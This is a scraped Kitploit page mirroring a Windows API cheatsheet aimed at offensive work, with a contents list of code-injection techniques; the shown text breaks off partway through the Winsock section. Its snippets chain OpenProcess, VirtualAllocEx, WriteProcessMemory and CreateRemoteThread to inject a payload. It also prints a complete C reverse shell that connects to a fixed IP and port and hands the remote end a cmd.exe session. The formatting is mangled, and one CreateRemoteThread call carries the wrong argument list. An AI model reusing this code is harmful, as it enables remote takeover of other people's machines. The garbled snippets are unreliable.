Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
windows-api-function-cheatsheets — A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations. | Kitploit
工具/GitHubGitHub/7etsuo/windows-api-function-cheatsheets
Reverse EngineeringPost-ExploitationMalware AnalysisBinary AnalysisCurated ResourcesPayload Development
GitHub7etsuo/windows-api-function-cheatsheets

windows-api-function-cheatsheets

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.

1.5k1691年前Kitploit 审核通过
分享

API CheatSheets

Windows API 函数速查表

联系方式

🌨️ Tetsuo: https://www.x.com/tetsuo

目录

  • Windows API 函数速查表
    • 文件操作
    • 进程管理
    • 内存管理
    • 线程管理
    • 动态链接库(DLL)管理
    • 同步
    • 进程间通信
    • Windows 钩子
    • 加密
    • 调试
    • Winsock
    • 注册表操作
    • 错误处理
    • 资源管理
    • Unicode 字符串函数
      • 字符串长度
      • 字符串复制
      • 字符串拼接
      • 字符串比较
      • 字符串搜索
      • 字符分类与转换
    • Win32 结构体速查表
      • 常用结构体
      • Win32 套接字结构体速查表 (winsock.h)
      • Win32 套接字结构体速查表 (winsock2.h)
      • Win32 套接字结构体速查表 (ws2def.h)
  • 代码注入技术
    • 1. DLL 注入
    • 2. PE 注入
    • 3. 反射式注入
    • 4. APC 注入
    • 5. 进程镂空(进程替换)
    • 6. AtomBombing
    • 7. 进程替身(Process Doppelgänging)
    • 8. 进程伪装(Process Herpaderping)
    • 9. 挂钩注入
    • 10. 额外 Windows 内存注入
    • 11. 传播注入
    • 12. 堆喷射
    • 13. 线程执行劫持
    • 14. 模块踩踏
    • 15. IAT 挂钩
    • 16. 内联挂钩
    • 17. 调试器注入
    • 18. COM 劫持
    • 19. 幻影 DLL 镂空
    • 20. PROPagate
    • 21. Early Bird 注入
    • 22. 基于 Shim 的注入
    • 23. 映射注入
    • 24. KnownDlls 缓存投毒
  • 进程枚举

Windows API 函数调用

文件操作

CreateFile```c HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); // Opens an existing file or creates a new file.

root@kitploit:~
[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)```c
BOOL ReadFile(
  HANDLE hFile,
  LPVOID lpBuffer,
  DWORD nNumberOfBytesToRead,
  LPDWORD lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
); // Reads data from the specified file.

WriteFile```c BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); // Writes data to the specified file.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

进程管理

OpenProcess```c HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); // Opens an existing local process object. e.g., try to open target process

root@kitploit:~
```c
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);

CreateProcess```c HANDLE CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.

root@kitploit:~
```c
// Start the child process
// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure
CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 

WinExec```c UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); // Runs the specified application.

root@kitploit:~
```c
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);

TerminateProcess```c BOOL TerminateProcess( HANDLE hProcess, UINT uExitCode ); // Terminates the specified process.

root@kitploit:~
[ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex)```c
BOOL ExitWindowsEx(
  [in] UINT  uFlags,
  [in] DWORD dwReason
); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
root@kitploit:~
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);

CreateToolhelp32Snapshot```c HANDLE CreateToolhelp32Snapshot( [in] DWORD dwFlags, [in] DWORD th32ProcessID ); // used to obtain information about processes and threads running on a Windows system.

root@kitploit:~
[Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.

Process32Next```c BOOL Process32Next( [in] HANDLE hSnapshot, [out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.

root@kitploit:~
[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
root@kitploit:~
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx

ReadProcessMemory```c BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.

root@kitploit:~
```c
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);

内存管理

VirtualAlloc```c LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size) DWORD flAllocationType, // #define MEM_COMMIT 0x00001000 DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.

root@kitploit:~
[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
root@kitploit:~
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);

VirtualFree```c BOOL VirtualFree( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.

root@kitploit:~
[VirtualProtect 函数 (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)```c
BOOL VirtualProtect(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
); // Changes the protection on a region of committed pages in the virtual address space of the calling process.

RtlMoveMemory```c VOID RtlMoveMemory( Out VOID UNALIGNED *Destination, In const VOID UNALIGNED *Source, In SIZE_T Length ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.

root@kitploit:~
### 线程管理
[CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)```c
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,         // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.
  [in]            SIZE_T                  dwStackSize,                // The initial size of the stack, in bytes.
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,             // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,                // A pointer to a variable to be passed to the thread function.
  [in]            DWORD                   dwCreationFlags,            // The flags that control the creation of the thread.
  [out, optional] LPDWORD                 lpThreadId                  // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
); // Creates a thread to execute within the virtual address space of the calling process.
root@kitploit:~
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);

CreateRemoteThread```c HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process.

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

CreateRemoteThreadEx```c HANDLE CreateRemoteThreadEx( [in] HANDLE hProcess, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [out, optional] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. // See InitializeProcThreadAttributeList

root@kitploit:~
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

ExitThread```c VOID ExitThread( DWORD dwExitCode ); // Terminates the calling thread and returns the exit code to the operating system.

root@kitploit:~
[GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread)```c
BOOL GetExitCodeThread(
  HANDLE hThread,
  LPDWORD lpExitCode
); // Retrieves the termination status of the specified thread.

ResumeThread```c DWORD ResumeThread( HANDLE hThread ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

root@kitploit:~
[SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)```c
DWORD SuspendThread(
  HANDLE hThread
); // Suspends the specified thread.

TerminateThread```c BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode ); // Terminates the specified thread.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

动态链接库(DLL)管理

LoadLibrary```c HMODULE LoadLibrary( LPCTSTR lpFileName ); // Loads a dynamic-link library (DLL) module into the address space of the calling process.

root@kitploit:~
[LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)```c
HMODULE LoadLibraryExA(
  [in] LPCSTR lpLibFileName,
       HANDLE hFile,
  [in] DWORD  dwFlags
); // Loads the specified module into the address space of the calling process, with additional options.
root@kitploit:~
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);

GetProcAddress```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); // Retrieves the address of an exported function or variable from the specified DLL.

root@kitploit:~
```c
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

FreeLibrary```c BOOL FreeLibrary( HMODULE hModule ); // Frees the loaded DLL module and, if necessary, decrements its reference count.

root@kitploit:~
### 同步
[CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)```c
HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL bInitialOwner,
  LPCTSTR lpName
); // Creates a named or unnamed mutex object.

CreateSemaphore```c HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName ); // Creates a named or unnamed semaphore object.

root@kitploit:~
[ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex)```c
BOOL ReleaseMutex(
  HANDLE hMutex
); // Releases ownership of the specified mutex object.

ReleaseSemaphore```c BOOL ReleaseSemaphore( HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount ); // Increases the count of the specified semaphore object by a specified amount.

root@kitploit:~
[WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)```c
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
); // Waits until the specified object is in the signaled state or the time-out interval elapses.
root@kitploit:~
WaitForSingleObject(hThread, 500);

进程间通信

CreatePipe```c BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.

root@kitploit:~
[CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)```c
HANDLE CreateNamedPipe(
  LPCTSTR lpName,
  DWORD dwOpenMode,
  DWORD dwPipeMode,
  DWORD nMaxInstances,
  DWORD nOutBufferSize,
  DWORD nInBufferSize,
  DWORD nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
); // Creates a named pipe and returns a handle for subsequent pipe operations.

ConnectNamedPipe```c BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

root@kitploit:~
[DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe)```c
BOOL DisconnectNamedPipe(
  HANDLE hNamedPipe
); // Disconnects the server end of a named pipe instance from a client process.

CreateFileMapping```c HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName ); // Creates or opens a named or unnamed file mapping object for a specified file.

root@kitploit:~
[MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)```c
LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD dwDesiredAccess,
  DWORD dwFileOffsetHigh,
  DWORD dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
); // Maps a view of a file mapping into the address space of the calling process.

UnmapViewOfFile```c BOOL UnmapViewOfFile( LPCVOID lpBaseAddress ); // Unmaps a mapped view of a file from the calling process's address space.

root@kitploit:~
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
  HANDLE hObject
); // Closes an open handle.

Windows 钩子

SetWindowsHookExA```c HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

root@kitploit:~
[CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)```c
LRESULT CallNextHookEx(
  [in, optional] HHOOK  hhk,
  [in]           int    nCode,
  [in]           WPARAM wParam,
  [in]           LPARAM lParam
); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.

UnhookWindowsHookEx```c BOOL UnhookWindowsHookEx( [in] HHOOK hhk ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.

root@kitploit:~
[GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)```c
SHORT GetAsyncKeyState(
  [in] int vKey
); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

GetKeyState```c SHORT GetKeyState( [in] int nVirtKey ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).

root@kitploit:~
[GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate)```c
BOOL GetKeyboardState(
  [out] PBYTE lpKeyState
); // Copies the status of the 256 virtual keys to the specified buffer.

密码学

CryptBinaryToStringA```c BOOL CryptBinaryToStringA( [in] const BYTE *pbBinary, [in] DWORD cbBinary, [in] DWORD dwFlags, [out, optional] LPSTR pszString, [in, out] DWORD *pcchString ); // The CryptBinaryToString function converts an array of bytes into a formatted string.

root@kitploit:~
[CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt)```c
BOOL CryptDecrypt(
  [in]      HCRYPTKEY  hKey,
  [in]      HCRYPTHASH hHash,
  [in]      BOOL       Final,
  [in]      DWORD      dwFlags,
  [in, out] BYTE       *pbData,
  [in, out] DWORD      *pdwDataLen
); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.

CryptEncrypt```c BOOL CryptEncrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen, [in] DWORD dwBufLen ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.

root@kitploit:~
[CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage)```c
BOOL CryptDecryptMessage(
  [in]                PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,
  [in]                const BYTE                  *pbEncryptedBlob,
  [in]                DWORD                       cbEncryptedBlob,
  [out, optional]     BYTE                        *pbDecrypted,
  [in, out, optional] DWORD                       *pcbDecrypted,
  [out, optional]     PCCERT_CONTEXT              *ppXchgCert
); // The CryptDecryptMessage function decodes and decrypts a message.

CryptEncryptMessage```c BOOL CryptEncryptMessage( [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, [in] DWORD cRecipientCert, [in] PCCERT_CONTEXT [] rgpRecipientCert, [in] const BYTE *pbToBeEncrypted, [in] DWORD cbToBeEncrypted, [out] BYTE *pbEncryptedBlob, [in, out] DWORD *pcbEncryptedBlob ); // The CryptEncryptMessage function encrypts and encodes a message.

root@kitploit:~
### 调试
[IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)```c
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.

CheckRemoteDebuggerPresent```c BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent ); // Determines whether the specified process is being debugged.

root@kitploit:~
[OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa)```c
void OutputDebugStringA(
  [in, optional] LPCSTR lpOutputString
); // Sends a string to the debugger for display.

Winsock```c

/*** Windows Reverse Shell *

  • ██████ ███▄ █ ▒█████ █ █░ ▄████▄ ██▀███ ▄▄▄ ██████ ██░ ██
  • ▒██ ▒ ██ ▀█ █ ▒██▒ ██▒▓█░ █ ░█░▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒██ ▒ ▓██░ ██▒
  • ░ ▓██▄ ▓██ ▀█ ██▒▒██░ ██▒▒█░ █ ░█ ▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▓██▄ ▒██▀▀██░
  • ▒ ██▒▓██▒ ▐▌██▒▒██ ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▒ ██▒░▓█ ░██
  • ▒██████▒▒▒██░ ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒██████▒▒░▓█▒░██▓
  • ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒
  • ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░
  • ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░
  • root@kitploit:~
      ░           ░     ░ ░      ░    ░ ░         ░           ░  ░      ░   ░  ░  ░
    
  • root@kitploit:~
                                  Written by: [email protected] (snowcra5h) 2023
    
  • This program establishes a reverse shell via the Winsock2 library. It is
  • designed to establish a connection to a specified remote server, and execute commands
  • received from the server on the local machine, giving the server
  • control over the local machine.
  • Compile command (using MinGW on Wine):
  • wine gcc.exe windows.c -o windows.exe -lws2_32
  • This code is intended for educational and legitimate penetration testing purposes only.
  • Please use responsibly and ethically.

*/

#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <windows.h> #include <process.h>

const char* const PORT = "1337"; const char* const IP = "10.37.129.2";

typedef struct { HANDLE hPipeRead; HANDLE hPipeWrite; SOCKET sock; } ThreadParams;

DWORD WINAPI OutputThreadFunc(LPVOID data); DWORD WINAPI InputThreadFunc(LPVOID data); void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);

int main(int argc, char** argv) { WSADATA wsaData; int err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, "WSAStartup failed: %d\n", err); return 1; }

root@kitploit:~
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
    fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError());
    WSACleanup();
    return 1;
}

struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo* result;
err = getaddrinfo(IP, PORT, &hints, &result);
if (err != 0) {
    fprintf(stderr, "Failed to get address info: %d\n", err);
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
    fprintf(stderr, "Failed to connect.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;
if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) {
    fprintf(stderr, "Failed to create pipe.\n");
    CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
    return 1;
}

STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = hInputRead;
startupInfo.hStdOutput = hOutputWrite;
startupInfo.hStdError = hOutputWrite;
PROCESS_INFORMATION processInfo;

WCHAR cmd[] = L"cmd.exe /k";
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) {
    fprintf(stderr, "Failed to create process.\n");
    CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);
    return 1;
}

CloseHandle(hInputRead);
CloseHandle(hOutputWrite);
CloseHandle(processInfo.hThread);
ThreadParams outputParams = { hOutputRead, NULL, sock };
ThreadParams inputParams = { NULL, hInputWrite, sock };
HANDLE hThread[2];
hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL);
hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL);

WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);
return 0;

}

void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { if (hInputWrite != NULL) CloseHandle(hInputWrite); if (hInputRead != NULL) CloseHandle(hInputRead); if (hOutputWrite != NULL) CloseHandle(hOutputWrite); if (hOutputRead != NULL) CloseHandle(hOutputRead); if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); if (result != NULL) freeaddrinfo(result); if (sock != NULL) closesocket(sock); WSACleanup(); }

DWORD WINAPI OutputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; DWORD bytesRead; while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; send(params->sock, buffer, bytesRead, 0); } return 0; }

DWORD WINAPI InputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; int bytesRead; while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { DWORD bytesWritten; WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); } return 0; }

root@kitploit:~
[WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup)```c
int WSAStartup(
    WORD wVersionRequired, 
    LPWSADATA lpWSAData
); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.

WSAConnect```c int WSAConnect( SOCKET s, // Descriptor identifying a socket. const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. int namelen, // Length of the sockaddr structure. LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. LPQOS lpGQOS // Pointer to flow specs for the socket group. ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.

root@kitploit:~
[WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend)```c
int WSASend(
    SOCKET s, // Descriptor identifying a connected socket.
    LPWSABUF lpBuffers, // Array of buffers for data to be sent.
    DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
    LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
    DWORD dwFlags, // Flags to modify the behavior of the function call.
    LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.

WSARecv```c int WSARecv( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.

root@kitploit:~
[WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto)```c
int WSASendTo(
    SOCKET s, // Descriptor identifying a socket.
    LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.
